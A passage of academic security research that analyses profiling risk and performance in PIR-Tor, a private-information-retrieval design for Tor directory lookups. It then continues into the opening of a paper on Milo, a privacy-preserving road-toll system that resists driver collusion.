that features other than partitioning the network (e.g.,
cookies [36], session timing [17], or frequently accessed
hosts [17]) can be used in the current Tor network to pro-
file users.

6.1 Impact of fingerprinting on PIR-Tor

Before diving into the analysis we note that the number
of relays (or descriptors) in each PIR block is irrelevant
for the result. Fingerprinting attacks are based on the
clients’ knowledge of relays in the network, but in PIR-
Tor clients retrieve blocks that may contain one or more
descriptors. Hence, either the client knows about all the
descriptors in a block or she does not know any of them.
Thus, from the point of view of the adversary all relays in
a block are equivalent, regardless of how many descrip-
tors are in this block; only the number of blocks matters
when computing the probabilities we use in our analysis.

We consider an adversary that controls the receiver of
the communication, and thus can observe the exit relay
chosen by the client. Additionally, she may also control
the exit relay hence also learning the middle relay in the
client’s circuit.

6.1.1 One PIR request per circuit construction

If the computation and communication cost for clients
and directory servers in dealing with PIR queries is small
(as when ITPIR is used), clients could request new de-
scriptors for each circuit construction. Regardless of
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the selection algorithm used, due to the PIR properties,
the adversary cannot distinguish which block is retrieved
from the database with each query and hence she gains
no information as to which relays are known to the client.
In this setting the adversary must assume that all relays
are known to the client, and PIR-Tor fingerprinting resis-
tance is equivalent to that of the current Tor network.

Nevertheless, when CPIR is used we must expect lim-
itations both in bandwidth and computation capabilities.
Therefore, each time the client obtains a set of descrip-
tors with a CPIR query, these descriptors may have to be
reused across multiple circuit rebuilds. In the next sec-
tion we evaluate the impact of this reuse on the privacy
protection offered by PIR-Tor.

6.1.2 Reusing descriptors for circuit construction

In our analysis we assume that the attacker observes
the exit relay (respectively exit and middle relays) of a
client’s circuit. As we have already discussed, this does
not directly leak information about the client’s identity
and anonymity is preserved. However, the adversary can
still profile clients based on their network knowledge,
eventually leading to de-anonymization [14, 16, 30, 43].

The adversary can construct a behavioral profile with
all connections she observes coming from exit relays (re-
spectively exit and middle relays) that belong to the same
PIR block. If the selection algorithm is such that many
clients have knowledge of a block (recall that all relays
in the block are equivalent for the attacker) the profile
recovered by the adversary is an aggregate profile of all
these users, jeopardizing the de-anonymization of indi-
vidual clients. On the other hand, if the choice of relays
is unique to each client the profile recovered by the ad-
versary accurately reflects the behavior of an individual
user and the danger of de-anonymization grows. There-
fore, it is desirable that clients share choices such that
the adversary can only obtain aggregated profiles that
reduce her precision when re-identifying clients. Other
ways than relay selection for the attacker to link and/or
discriminate clients’ connections [17, 36] are left out of
the scope of our analysis.

In this section, we evaluate the protection against pro-
filing provided by PIR-Tor when descriptors have to be
reused across circuit constructions. We aim to answer
the question “how precisely can the adversary assign an
observed connection (exit relay, or exit and middle) to
a unique client?”. We use as a metric the fraction α of
clients that could be initiators of a connection (i.e., the
expected fraction of clients that have knowledge of the
PIR-Tor block containing the relay(s) observed by the
adversary). The larger the fraction of clients that may
know the observed relay, the better privacy users enjoy
because the adversary can only construct aggregate pro-

files. We note that even if the adversary is actually col-
lecting information from a single user, she cannot be sure
that this is the case based on the PIR-Tor relay selection
algorithm; she must assume that the profile she observes
may contain sessions from multiple users. We also note
that, based on the relay selection algorithm, the adver-
sary cannot link connections from a user routed through
different exit relays. This is because the PIR properties
prevent the attacker from learning any relation between
the descriptors retrieved by a client. Hence, the connec-
tions of one client routed through exit relays in different
PIR blocks are unlinkable and the adversary must assign
them to different profiles (that may or may not contain
information about other users).

If the adversary observes connections coming from the
exit relay e, the fraction of clients α that may know this
relay are those who retrieved from the database the block
containing e. In PIR-Tor we assume that clients retrieve
a set B of b blocks every time they query the directory
server, hence the fraction of clients that have knowledge
of the block containing e is: α = (1 − (1 − Pr[e])b),
where Pr[e] is the probability of choosing the block con-
taining e as one of the b retrieved blocks, and depends
on the algorithm used for the selection of relays. For
simplicity in our analysis we assume that there is only a
single standard exit policy.

We explained in Section 5 that for load balancing, re-
lays with higher capacities are selected with a higher
probability. We described two criteria for selecting re-
lays: a bandwidth-based criterion (BW), and the Snader-
Borisov criterion (SB). To evaluate the BW criterion ac-
cording to a realistic bandwidth distribution we captured
a snapshot of the Tor consensus directory on 9 February
2011. This directory includes 649 exit relay descriptors
after removing the slowest one-eighth of the total relays
that are not used to relay traffic at all in the current Tor
network [31]. For the evaluation of SB we computed the
probability Pr[e] according to the algorithm introduced
in [41]. Given the function fs(x) = (1−2sx)

(1−2s) a value x

is drawn uniformly at random from [0, 1), and the block
with index �Nblocks × fs(x)� is selected. The inverse of
the function fs(x) is the function f−1

s (x) = (log2(1 −
(1 − 2s) · x))/s. Then, the probability of selecting a
block containing the relay e in the i-th position of the list
is Pr[e] = f−1

s (i/Nblocks) − f−1
s ((i − 1)/Nblocks). We

use s = 1, which results in a probability distribution near
to uniform, and s = 10, which results in a distribution
very skewed towards the relays offering high bandwidth.

Figure 2 shows box plots3 describing the distribution

3The line in the middle of the box represents the median of the
distribution of α. The lower and upper limits of the box correspond,
respectively, to the first (Q1) and third quartiles (Q3) of the distribution.
We also show the outliers: relays e which are chosen with values that
are “far” from the rest of the distribution (α > Q3 + 1.5(Q3 − Q1)
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Figure 2: BW and SB(s) selection: evolution of α with
the database size.

of α for the different selection algorithms. We choose
two database sizes to show the performance of the al-
gorithms when the network scales. A small database
that contains 649 exit relays (as in the current Tor net-
work) divided in 13 blocks for optimal performance of
the CPIR algorithm (note that if ITPIR is used there is
no need to reuse relays across circuit rebuilds).4 The sec-
ond database contains 1M relays, divided in 148 blocks.
In the BW case, we construct the distribution of band-
width amongst the relays by concatenating copies of the
original list downloaded from the Tor network. We refer
the reader to the extended version of this paper [26] for
a more detailed analysis of the evolution of α when the
network scales.

The median of the BW distribution is α = 0.016; that
is, 1600 clients have knowledge of each relay when the
network is used by 100 000 users.5 When the network
grows, the median of α diminishes to 0.0012. As there
are more blocks in the database clients have more choice,
and so they share knowledge of fewer relays.

We can see that SB(1) offers the best protection (a
larger fraction of clients know a relay), but as clients’
choice of relays, and hence blocks, is nearly uniform it
does not load balance the network. The means of SB(1)
and SB(10) are similar; however, SB(10) has a greater
variance. SB(10) yields medians of α = 0.022 and
α = 0.0019 when there are 13 and 148 blocks in the

or α < Q1 − 1.5(Q3 − Q1)).
We have cut the figure’s y axis for better visibility. The figure does
not show two outliers for the 13-block BW and SB(10) plots that have
α = 0.38 and α = 0.63, respectively.

4For a database of r 2100-byte descriptors and recursion parameter
(see Section 7) R = 2, the optimal number of blocks is approximately
1.50 · 3√r.

5The Tor project reports an estimate of Tor users between 100 000
and 250 000 in January 2011 (http://metrics.torproject.
org/users.html). We take 100 000 to represent the worst-case
scenario for the clients.

database, respectively. In the latter case, the adversary
still captures aggregated profiles of 190 clients for the
median relay.

If besides the receiver of the communication the ad-
versary also controls the exit relay, then she can observe
the middle and exit relays of the client’s path. Let us call
the observed exit relay e, and the observed middle relay
m. The fraction of clients knowing the blocks contain-
ing these relays is: Pr[e, m ∈ B] = (1 − (1 − Pr[e])b) ·
(1−(1−Pr[m])b), where Pr[e] and Pr[m] depend on the
path selection algorithm. Hence, Pr[e, m ∈ B] is orders
of magnitude smaller than Pr[e ∈ B] increasing the ac-
curacy of profiling, as it becomes less likely that clients
share knowledge of both exit and middle relays.

We note that the results above represent the case in
which clients only retrieve b = 1 blocks per PIR query.
If the clients retrieve more blocks they can significantly
improve their privacy protection (α grows approximately
linearly with b). Moreover, if clients retrieve b > 1
blocks each time, they divide by b the number of cir-
cuits routed by each of the known exit relays. Finally,
we would like to stress that client’s profiles are only link-
able until they refresh their network knowledge. If, as in
the current Tor network, this happens each 3 hours and
circuits are rebuilt every 10 minutes, the adversary can
link data from only 18/b circuits. We have shown in this
section that, even though it does not break anonymity,
reusing descriptors breaks the unlinkability of circuits.
In order to prevent the attack we have discussed, clients
should request new blocks from the directory server (or
from the guard nodes if ITPIR is used) often or in groups
of several blocks such that the reuse of descriptors is min-
imized.

7 Performance Evaluation of Computa-
tional PIR

We now present experimental results for the CPIR archi-
tecture. We chose standard security parameters for the
CPIR scheme [1] (�0 = 19 and N = 50), and computed
the client/server computation times and communication
costs by running an implementation of this scheme [15].
The hardware was a dual Intel Xeon E5420 2.50 GHz
quad-core machine running Ubuntu Linux 10.04.1. Note
that for our evaluation, we used only a single core, which
is equivalent to a standard desktop machine today.

We set the descriptor size to be 2 100 bytes (the maxi-
mum descriptor size measured from the current Tor net-
work), and set the exit database to be half the size of the
middle database [45]. We varied the number of relays
in a PIR database, and computed a) PIR server computa-
tion, b) total communication, and c) client computation.

Data transfer for CPIR schemes can be reduced us-
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Figure 3: CPIR cost. R denotes the recursion parameter in CPIR.

ing the recursive construction by Kushilevitz and Ostro-
vsky [21] without much increase in computational cost;
this recursion can be implemented in a single round of in-
teraction between the client and the server. We denote the
recursion parameter in CPIR using R. If we denote the
number of relays in the database by n, then the commu-
nication cost of CPIR in our architecture is proportional
to 8R · n1/(R+1).

Figure 3 depicts the server computation, communica-
tion, and client computation as a function of the number
of Tor relays for varying values of the recursion param-
eter R. Increasing R reduces communication (and client
computation) drastically while having only a small im-
pact on server computation. Note that for beyond R = 3,
communication increases again, because the term 8R in
the communication overhead becomes dominant. We can
see that when the number of relays is less than 20 000, the
server computational overhead using R = 2 is smaller
than R = 3, while the communication overhead using
R = 2 and R = 3 is about the same. Beyond 20 000
relays, using R = 3 results in significant communication
savings as compared to R = 2, while the server compu-
tational overhead is about the same for both parameters.
For the remainder of this discussion, we use R = 2. We
can see that as the network size scales, the communica-
tion overhead of CPIR is an order of magnitude smaller
than trivial download of the database. Interestingly, even
at the current network size, the communication overhead
of CPIR is smaller than a trivial download.

Now we discuss the issue of creating multiple cir-
cuits within a 3-hour interval (after which the directory
databases are refreshed and clients request new descrip-
tors). In this scenario, the trivial download has the ad-
vantage that any number of circuits can be created. Tor
clients rebuild a circuit after every 10 minutes, so they
could create 18 circuits every 3 hours with the commu-
nication overhead of a single trivial download. On the
other hand, the PIR-based architecture would require 18
PIR queries for middle nodes and another 18 for exit
nodes. We can see that unless the number of relays in the

database is greater than 40 000, trivial download is go-
ing to be more efficient than performing multiple CPIR
queries. Instead, we propose to perform b < 18 queries
for both middle and exit nodes, and reuse existing blocks
for more circuits. As we discuss in the security analysis,
reusing blocks does not affect the anonymity of a single
circuit, but may break the unlinkability of multiple cir-
cuits.

We now study some particular scaling scenarios in
more detail. For each of the following scenarios, we
will compute the number of cores required to support
the clients. Figure 4 depicts the required number of
CPU cores as a function of relays and clients. We also
study the communication overhead of CPIR-Tor, along
with a comparative analysis with the current Tor proto-
col. For this analysis, we set the number of blocks b = 1.
Note that both computation and communication over-
head for CPIR-Tor scale linearly with the desired number
of blocks. Our results are summarized in Table 1.

Scenario 1: Current Tor Size. Total number of si-
multaneous relays is 2 000. Total number of simulta-
neous clients is 250 000. For 2 000 relays, server com-
pute time is 0.2 second. The number of exit nodes is
around 1 000, and the corresponding server compute time
is 0.1 seconds. Thus to download a block from both the
middle and the exit databases, the total server compute
time is 0.3 seconds. Note that we are proposing to down-
load a block every 3 hours. A single directory server
would thus be able to support 36 000 clients

(
3·60·60

0.3

)
.

The total number of cores required to support 250 000
clients is only 7. As of February 2011, the size of the
Tor network consensus is 560 KB, while the total size
of the relay descriptors is about 3.3 MB. Thus the com-
munication overhead per client in the current Tor net-
work is about 1.1 MB every 3 hours (560 KB consensus
and 3300

6 KB relay descriptors ), while the corresponding
overhead in our architecture is 2 MB. Thus, CPIR-Tor is
not suited for the current Tor network size.

Scenario 2: Increasing clients. Total number of re-
lays is fixed at 2 000. Total number of clients increases
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Table 1: Summary of results: Comparison of overhead in Tor, CPIR and ITPIR. The communication overhead is
measured per client over a 3 hour interval.

Scenario Relays Clients Tor CPIR ITPIR
(MB) (MB / Cores) (MB / % Core Utilization per guard)

1 2000 250 000 1.1 2 / 7 0.2 / 0.425%
2 2000 2 500 000 1.1 2 / 70 0.2 / 4.25%

3 20 000 250 000 11 4 / 59 0.5 / 0.425%
4 20 000 2 500 000 11 4 / 553 0.5 / 4.25%

5 250 000 250 000 111 8 / 466 0.2 / 0.425%

by a factor of sc. The number of cores required to sup-
port sc · 250 000 clients is sc · 7 (linear increase). Thus if
the number of clients increases to 2.5 million, about 70
cores will be required to support the architecture. Both
the number of cores and the communication overhead of
the system increases linearly with the number of clients.

Scenario 3: Increasing relays. Total number of
relays increases by a factor of sr. Total number of
clients is fixed. The number of cores required to support
sr ·2 000 relays increases sublinearly with sr. For exam-
ple, when the number of relays increases from 2 000 to
20 000, the required number of cores increases from 7 to
59. Note that in this scenario, the communication over-
head for CPIR-Tor also scales sublinearly, while that of
current Tor scales linearly. Thus, as the number of relays
increases, it becomes more and more advantageous to
use CPIR-Tor. For instance, when the number of relays
is 20 000, the communication overhead of Tor is 11 MB
every 3 hours, while that of CPIR is only 4 MB.

Scenario 4: Increasing both clients and relays. To-
tal number of relays and clients increases by a factor
of s. The number of cores required to support s · 2 000
relays and s · 250 000 clients is strictly less than 7 · s2.
In order to support 20 000 relays and 2.5 million clients,
553 cores would be required. We note approximately
50% of the Tor relays are already directory servers, so
553 cores in this scenario is feasible. Again, as the num-
ber of relays increases, the advantage of CPIR-Tor over
Tor becomes larger.

Scenario 5: Converting clients to middle-only re-
lays. Observe that if all 250 000 clients converted to
middle-only relays, then the server compute time for the
middle database is 20 seconds, while that for the exit
database is still 0.1 seconds. Thus, the total number of
cores required to support this scenario is approximately
466. (This scenario is not shown in Figure 4.) As com-
pared to the current Tor network, CPIR reduces the com-
munication overhead in the network from 111 MB per
client every 3 hours to only 8 MB.
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Figure 4: Number of cores as a function of the number of
relays and clients (assuming half of the relays are exits).

8 Performance Evaluation of Information-
Theoretic PIR

We use an implementation [13] of the multi-server PIR
scheme by Goldberg [12] and compute the server compu-
tation, total communication, and client computation, for
varying values of the number of relays, using a descriptor
size of 2 100 bytes, and 3 servers.

Figure 5 plots server computation, total communica-
tion, and client computation as a function of the number
of Tor relays, using 3 PIR servers (the entry guards). We
note that the communication cost for a single ITPIR re-
quest is at least 2 orders of magnitude smaller than the
cost for a trivial download for all possible scaling sce-
narios.

Even if we compare the ITPIR-Tor protocol with the
Tor protocol over a period of 3 hours, where clients set up
18 circuits, still the communication overhead of ITPIR is
an order of magnitude smaller than a full download for
all scaling scenarios. Thus in this architecture, we do
not need to reuse blocks, providing security equivalent
to that of Tor, if at least a single guard relay is honest.
Recall that if all guard relays are compromised, then the
adversary can break user anonymity in both the current
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Figure 5: 3-server ITPIR cost.

Tor network as well as in PIR-Tor, by selectively deny-
ing service [4] to circuits that have an honest exit relay
(or destination server) and performing end-to-end timing
analysis [2] when the exit relay (or destination server) is
compromised.

We now explore various scaling scenarios for Tor, and
compute the number of clients that each guard relay can
support, along with a comparison of the communication
cost to that of Tor. Our results are summarized in Table 1.

Scenario 1: Current Tor Size. Total number of re-
lays is 2 000. Total number of clients is 250 000. For
2 000 relays, the number of exit nodes is around 1 000,
and the corresponding server compute time is 0.005 sec-
onds. Thus to support a single circuit, the total server
compute time is 0.005 seconds (for all three guards com-
bined). Note that each client builds a circuit every 10
minutes. A single guard relay would thus be able to sup-
port 360 000 clients. In the current Tor network, there
are 250 000 clients, and approximately 500 guard relays,
so each guard relay needs to service only 1500 clients on
average, and would utilize only 0.425% of one core. The
communication overhead of Tor is 1.1 MB per client ev-
ery 3 hours. In ITPIR, the cost to build a single circuit is
only 12 KB. Even if clients build 18 circuits over a three
hour interval, the total communication cost of all 18 cir-
cuits is 216 KB. Thus ITPIR is useful even with the size
of the current Tor network.

Scenario 2: Increasing clients. Total number of re-
lays is fixed at 2 000. Total number of clients increases
by a factor of sc. In order to support sc ·250 000 clients,
guard relays would need to utilize sc · 0.425% of a core.
Thus even when the number of clients increases to 2.5
million, but the number of guard relays stays fixed at 500,
then each guard relay only utilizes a 4.25% fraction of a
core. The total communication overhead in the system
increases linearly with the number of clients, similar to
the current Tor network.

Scenario 3: Increasing relays. Total number of
relays increases by a factor of sr. Total number of
clients is fixed. In order to support sr · 2 000 relays,

guard relays would need to utilize only 0.425% of a core.
This is because the size increase in the PIR database
is offset by the increase in the number of guard relays.
Thus, regardless of the number of relays in the system,
each guard relay utilizes only 0.425% of a core. Also, as
the number of relays increases, the advantage of ITPIR
over a full download in terms of communication cost also
increases. For instance, at 2 000 relays ITPIR is a factor
of 5 more efficient than Tor, while at 20 000 relays, IT-
PIR is a factor of 22 more efficient than Tor (516 KB per
client every 3 hours as compared to 11.1 MB in Tor).

Scenario 4: Increasing both clients and relays. To-
tal number of relays and clients increases by a fac-
tor of s. In order to support s · 250 000 clients, and
s · 2 000 relays, each guard relay would need to utilize
s · 0.425% of a core. Thus when the number of clients
is 2.5 million, and the number of relays is 20 000, each
guard relay utilizes 4.25% of a core. Even at 100 times
the current client base (25 million), 42% of one core is re-
quired, which may be reasonable in multi-core settings.
As the number of clients increases, the communication
overhead in both ITPIR and Tor increases linearly, while
as the number of relays increases, it becomes a lot more
advantageous to use ITPIR as compared to Tor.

Scenario 5: Converting clients to middle-only re-
lays. Observe that if all 250 000 clients converted to
middle-only relays, then the server compute time for the
guard relays remains unchanged, since PIR is not per-
formed over the middle database. Thus each guard relay
would still utilize only 0.425% of a core.

To further highlight the scalability of ITPIR, we also
consider a scenario where all 250 000 clients convert to
relays, with a similar distribution of guard/middle/exit
relays as in the current Tor network. The communication
overhead of ITPIR in this scenario is 1.7 MB per client
every 3 hours, while that of Tor is 137 MB — two orders
of magnitude higher.
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9 Discussion

We now discuss some issues in, and ramifications of, our
design.

Comparison of CPIR vs. ITPIR. The CPIR-Tor ar-
chitecture does not require all guard relays to be direc-
tory servers, and is more easily integrated into the current
Tor network, where a random subset of the relays are di-
rectory servers. Moreover, it is ideal for the scenarios
where either a client’s browsing time is small (possibly
estimated using the client’s past Tor browsing history),
or the client is not interested in the unlinkability of its
connections. On the other hand, the ITPIR-Tor architec-
ture requires all guard relays to be directory servers, thus
requiring them to maintain a global view of the system,
but results in significant communication savings for the
clients. The ITPIR-Tor architecture can support a vari-
ety of client workloads, while providing a high level of
security. In particular, ITPIR-Tor can enable a very at-
tractive scenario where all clients become middle-only
relays, without any additional cost to the network, since
the middle relays are fetched for free (without doing PIR)
by the clients.

Robustness. Recall that each block of the descriptor
database is digitally signed by the trusted directory au-
thorities. These signatures prevent malicious PIR servers
from tricking clients into accepting false information.
However, such malicious servers could still deny service
to clients by returning garbage, or by not returning a re-
sponse at all. As we discuss next, in both CPIR-Tor and
ITPIR-Tor clients can easily detect this attack and can
stop using those malicious servers.

In CPIR-Tor, a malicious directory server could mod-
ify its own copy of the descriptor database in order to cor-
rupt blocks containing, for example, many honest nodes,
and leave with correct signatures those blocks containing
collaborating malicious nodes. Clients retrieving these
“malicious blocks” will be successful, but clients retriev-
ing “honest blocks” will not. In order to defend against
this, a CPIR-Tor client that receives even one corrupted
block (out of b requests) from a given (Byzantine) direc-
tory server should discard the entire response, and make
a new, freshly randomly chosen query for all b blocks
from a different server. It should also avoid using that
Byzantine server in the future.

In ITPIR-Tor, on the other hand, such a selective-
corruption attack is not possible unless all three guard
nodes are colluding. In the ITPIR-Tor setting, Byzantine
guard nodes can corrupt the result of the query, but not in
a way that depends on which block was requested. Un-
fortunately, with ITPIR-Tor as presented, although the
client will detect the corruption, it will not learn which

of the guard nodes was Byzantine. This can be rectified,
however, using the Byzantine robustness techniques of
the underlying ITPIR protocol [12]. In particular, a client
receiving blocks with correct signatures may safely use
those blocks. If there are corrupted blocks, the client can
identify which guard node(s) were Byzantine, and caus-
ing the corruption, by extending the queries for just the
corrupted blocks to additional guard nodes. When three
honest guard nodes are reached, even though the client
does not know a priori which are the honest ones, the
Byzantine nodes will be identified. However, this may
come at the cost of the Byzantine nodes (if there are at
least three) learning which exit block the client was inter-
ested in. Therefore, the client should not use the resulting
information to build circuits; it should only use it to learn
which nodes were Byzantine and thus should be avoided
in the future.

Additional scaling strategies. The Tor Project has
been actively working on improving its scaling proper-
ties. We now discuss some strategies under consideration
that may be implemented in the future. The first strategy
is to download relay descriptors on demand [34] during
the circuit construction process, as opposed to periodi-
cally fetching them in advance. Fetching descriptors on
demand would significantly reduce the communication
overhead in Tor. However, note that fetching descriptors
on demand does not satisfy our goal of efficient circuit
creation, since descriptor downloads increase circuit cre-
ation times.

The second strategy introduces the idea of microde-
scriptors [8], which contain all relay descriptor fields that
rarely change. All frequently changing fields are placed
in the network consensus. Clients download the network
consensus document frequently, but the microdescriptors
are cached on a long-term basis. We note that this pro-
posal is orthogonal to our architecture, and can be incor-
porated in the PIR-Tor protocol. In this case, the PIR
database would consist of only the network consensus
information. The size reduction in the PIR database be-
cause of the removal of microdescriptors would translate
into both computational and communication savings in
our architecture.

Computational puzzles to prevent DoS. In our archi-
tecture, directory servers act as PIR databases and per-
form computation to respond to user queries. This pro-
vides an opportunity to the attacker to launch a denial
of service (DoS) attack against the directory servers by
issuing multiple PIR queries. We propose to use com-
putational puzzles to mitigate the impact of this attack.
When a directory server begins to get computationally
congested, it starts to issue computational puzzles to
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clients. Clients solve the computational puzzle and re-
turn the solution to the directory server. The directory
server verifies the puzzle solution, and only then starts
to spend computational resources to process the client’s
PIR query.

Impact of churn. In the current Tor network, as the
churn in the network increases, clients will have to down-
load the full list of network consensus and relay descrip-
tors more frequently. On the other hand, the impact of
churn on PIR-Tor is minimal, since only a small number
of directory servers or guards will need to download the
global view more frequently. In fact, as long as the rate
of database updates is longer than 10 minutes (it is cur-
rently set to 3 hours), we can expect the number of client
PIR queries to be the same.

Impact of number of circuits. The communication
overhead of PIR-Tor is directly proportional to the num-
ber of circuit constructions, since for optimal security,
clients need to perform 1 or 2 PIR queries per circuit.
Tor developers are already working on a proposal to have
a separate circuit for each application, to prevent certain
kinds of profiling [18]. In this scenario, since there is
a separate circuit per application, the timeout period for
each circuit can be increased from the current value of
10 minutes, to keep the impact of additional circuits on
our architecture minimal (since the timeout period is set
to 10 minutes in order to prevent those same profiling
attacks).

Incorporating future path constraints. There have
been several proposals that incorporate more constraints
in the Tor path selection protocol. For example, it
has been suggested that relays must be chosen to min-
imize the chance of an end-to-end timing analysis at-
tack [11, 27]. Also, Sherr et al. [40] proposed to enable
applications to choose relays based on different perfor-
mance constraints like node-based selection, link-based
selection, and end-to-end path-based selection. We note
that PIR-Tor is able to incorporate these ideas to the ex-
tent that each block fetched from the database contains
multiple descriptors, and clients could apply similar al-
gorithms to select the descriptor that best fits their con-
straints.

Preserving option to download global view. We note
that many use cases may require a global view of the
system. For example, it may be helpful to researchers or
developers working on improving the security and per-
formance of the Tor network to have a global view of
the system. Thus we propose that directory servers also
support an option to download the full database.

Limitations. The Tor network is comprised of volun-
teer nodes that contribute their bandwidth for anony-
mous communication. Our proposal essentially trades
off bandwidth for computation at the directory servers,
and thus directory servers are required to volunteer some
extra computational resources. We show in our perfor-
mance evaluation that only a small fraction of CPU re-
sources need to be volunteered by the designated direc-
tory servers, especially in the case of ITPIR-Tor. We be-
lieve that PIR-Tor offers a good tradeoff between band-
width and computational resources, and results in an
overall reduction in resource consumption at volunteer
nodes. Secondly, our design is not as scalable as alter-
nate peer-to-peer approaches, which can scale to tens of
million relays. However, our design provides improved
security properties over prior work. In particular, reason-
able parameters of PIR-Tor provide equivalent security
to that of the Tor network. The security of our archi-
tecture mostly depends on the security of PIR schemes
which are well understood and relatively easy to analyze,
as opposed to peer-to-peer designs that require analyzing
extremely complex and dynamic systems. The only ex-
ception to this is the scenario of CPIR-Tor with descrip-
tor re-use, where the security analysis is more complex.
Moreover, for all scaling scenarios, the communication
overhead in our architecture is at least an order of mag-
nitude smaller than that of Tor. Finally, PIR-Tor assumes
the use of a small set of standard exit policies for nodes
to select from, though a few outliers can be tolerated by
downloading their information in their entirety.

10 Conclusion

In this paper, we presented PIR-Tor, an architecture for
the Tor network where clients do not need to maintain a
global view of the system, and instead leverage private
information retrieval techniques to protect their privacy
from compromised directory servers. In our evaluation,
we find that PIR-Tor reduces the communication over-
head of the Tor network by at least an order of magni-
tude. We analyzed two flavors of our architecture, based
on computational PIR and information-theoretic PIR re-
spectively. In computational PIR, clients fetch only a few
blocks from the PIR database, and reuse blocks to build
additional circuits. While this modification has no im-
pact on client anonymity, it slightly weakens the unlink-
ability of circuits. On the other hand, in information-
theoretic PIR, clients perform a PIR query per circuit
creation and do not reuse blocks, resulting in a level of
security that is equivalent to the Tor network. While
information-theoretic PIR requires all guard relays to be
directory servers, computational PIR is more easily inte-
grated into the current Tor network.
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Abstract
In recent years, privacy-preserving toll collection has been
proposed as a way to resolve the tension between the de-
sire for sophisticated road pricing schemes and drivers’
interest in maintaining the privacy of their driving pat-
terns. Two recent systems in particular, VPriv (USENIX
Security 2009) and PrETP (USENIX Security 2010), use
modern cryptographic primitives to solve this problem. In
order to keep drivers honest in paying for their usage of
the roads, both systems rely on unpredictable spot checks
(e.g., by hidden roadside cameras or roaming police vehi-
cles) to catch potentially cheating drivers.

In this paper we identify large-scale driver collusion
as a threat to the necessary unpredictability of these spot
checks. Most directly, the VPriv and PrETP audit pro-
tocols both reveal to drivers the locations of spot-check
cameras — information that colluding drivers can then
use to avoid paying road fees. We describe Milo, a new
privacy-preserving toll collection system based on PrETP,
whose audit protocol does not have this information leak,
even when drivers misbehave and collude. We then evalu-
ate the additional cost of Milo and find that, when com-
pared to naïve methods to protect against cheating drivers,
Milo offers a significantly more cost-effective approach.

1 Introduction
Assessing taxes to drivers in proportion to their use of
the public roads is a simple matter of fairness, as road
maintenance costs money that drivers should expect to
pay some part of. Gasoline taxes, currently a proxy for
road use, are ineffective for implementing congestion
pricing for city-center or rush-hour traffic. At the same
time, the detailed driving records that would allow for
such congestion pricing also reveal private information
about drivers’ lives, information that drivers do seem to
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†kmowery@cs.ucsd.edu
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§hovav@cs.ucsd.edu

have interest in keeping private. (In the U.S., for example,
some courts have recognized drivers’ privacy interests by
forbidding the police from using a GPS device to record
a driver’s movements without a search warrant [1].)

The VPriv [39] and PrETP [4] systems for private
tolling, proposed at USENIX Security 2009 and 2010
respectively, attempt to use modern cryptographic pro-
tocols to resolve the tension between sophisticated road
pricing and driver privacy. At the core of both these sys-
tems is a monthly payment and audit protocol. In her
payment, each driver commits to the road segments she
traversed over the month and the cost associated with each
segment, and reveals the total amount she owes. The prop-
erties of the cryptography used guarantee that the total is
correct assuming the segments driven and their costs were
honestly reported, but that the specific segments driven
are still kept private.

To ensure honest reporting, the systems use an audit-
ing protocol: throughout the month, roadside cameras
occasionally record drivers’ locations; at month’s end,
the drivers are challenged to show that their committed
road segments include the segments in which they were
observed, and that the corresponding prices are correct.
So long as such spot checks occur unpredictably, drivers
who attempt to cheat will be caught with high probability
given even a small number of auditing cameras. In the
audit protocols for both VPriv and PrETP, however, the
authority reveals to each driver the locations at which
she was observed. (The driver uses this information to
open the appropriate cryptographic commitments.) If the
cameras aren’t mobile, or are mobile but can be placed
in only a small set of suitable locations (e.g., overpasses
or exit signs along a fairly isolated highway), then the
drivers will easily learn where the cameras are (and, per-
haps more importantly, where they aren’t). Furthermore,
if drivers collude and share the locations at which they
were challenged, then a few audit periods will suffice
for colluding drivers to learn and map the cameras’ loca-
tions.
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We believe the model of large-scale driver collusion is
a realistic one. For example, drivers already collaborate
to share the locations of speed cameras [37] and red-light
cameras [38]; if we extend this behavior to consider maps
of audit cameras, then we see that the unpredictable spot
checks required in the analysis of VPriv and PrETP are
difficult to achieve in the real world when drivers may col-
lude on a large scale. When drivers know where cameras
are (and where they aren’t), they will not pay for segments
that are camera-free, and may even change driving pat-
terns to avoid the cameras. By collaborating, drivers can
discover and share camera locations at acceptable cost;
in fact, if the cameras are revealed to them directly in the
course of the audit protocol then they can do so without
incurring a single fine.

Finally, one might argue that an appropriate placement
of audit cameras at chokepoints will make them impos-
sible to avoid, even if their location is known; the price
charged for traversing such a chokepoint could then be
made sufficiently high that it subsidizes the cost of main-
taining other, unaudited road segments. This alternative
arrangement may seem superficially appealing, but it is
ultimately incompatible with driver privacy. If drivers
cannot avoid a chokepoint they cannot but be observed
by authorities when they cross it; in other words, this
approach would be feasibly enforceable only when most
drivers are regularly observed at the chokepoints. In fact,
what we have described is precisely the situation today
in many cities, where tolls are collected on bridges and
other unavoidable chokepoints.

Our contribution We show, in Section 4, how to mod-
ify the PrETP system to obtain our own system, Milo,
in which the authority can perform an agreed-upon num-
ber of spot checks of a driver’s road-segment commit-
ments without revealing the locations being checked. To
achieve this, we adapt a recent oblivious transfer proto-
col due to Green and Hohenberger [28] that is based on
blind identity-based encryption. We have implemented
and benchmarked our modifications to the audit protocol,
showing (in Section 5) that they require a small amount
of additional work for each driver and a larger but still
manageable amount of work for the auditing authority.

Basic fairness demands that drivers whom the authority
accuses of cheating be presented with the evidence against
them: a photo of their car at a time and location for
which they did not pay. This means that drivers who
intentionally incur fines will inevitably learn some camera
locations; in some cases, a large coalition of drivers may
therefore profitably engage in such misbehavior. Here the
information about camera locations is leaked not by the
audit protocol but by the legal proceedings that follow it.

Finally, if the cameras are themselves visible then
drivers will discover and share their locations, regardless

of the cryptographic guarantees of the audit protocol.1

All that is necessary is for one driver to spot the camera
at any point during the month; the colluding drivers can
then ensure that their commitments take this camera into
account. We discuss this further in Section 6.

In summary, our paper makes three concrete contribu-
tions:

• we identify large-scale driver collusion as a realistic
threat to privacy-preserving tolling systems;

• we modify the PrETP system to avoid leaking cam-
era locations to drivers during challenges; and

• we identify and evaluate other ways to protect
against driver collusion and compare their costs to
that of Milo.

2 System Outline
In this section we present an overview of the Milo system.
We discuss both the organizational structure of the system,
as well as the security goals it is able to achieve. As
our system is built directly on top of PrETP we have
approximately maintained its structure, with the important
differences highlighted below.

2.1 Organization
Milo consists of three main players: the driver, repre-
sented by an On-Board Unit (OBU); the company operat-
ing the OBU (abbreviated TSP, for Toll Service Provider);
and finally the local government (or TC, for Toll Charger)
responsible for setting the road prices and collecting the
final tolls from the TSP, as well as for ensuring fairness
on the part of the driver. The interactions between these
parties can be seen in Figure 1.

